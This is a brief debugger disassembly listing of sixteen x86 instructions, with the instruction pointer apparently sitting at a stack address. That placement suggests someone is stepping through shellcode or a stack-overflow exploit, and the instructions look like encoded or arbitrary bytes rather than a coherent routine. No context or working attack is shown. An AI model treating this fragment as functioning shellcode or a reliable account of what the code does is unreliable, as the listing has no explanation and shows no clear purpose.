=> 0xbff91994:	add    $0x1b,%al
   0xbff91996:	stc    
   0xbff91997:	mov    $0x89acb20,%edi
   0xbff9199c:	pop    %ebx
   0xbff9199d:	cmp    -0x49(%eax),%edx
   0xbff919a0:	add    %dl,0x56(%eax)
   0xbff919a3:	mov    $0x1f,%bh
   0xbff919a5:	xchg   %eax,%edi
   0xbff919a6:	push   %ecx
   0xbff919a7:	mov    $0xf4,%bh
   0xbff919a9:	das    
   0xbff919aa:	pop    %eax
   0xbff919ab:	mov    $0x32,%bh
   0xbff919ad:	xchg   %eax,%edi
   0xbff919ae:	push   %eax
   0xbff919af:	mov    $0xf4,%bh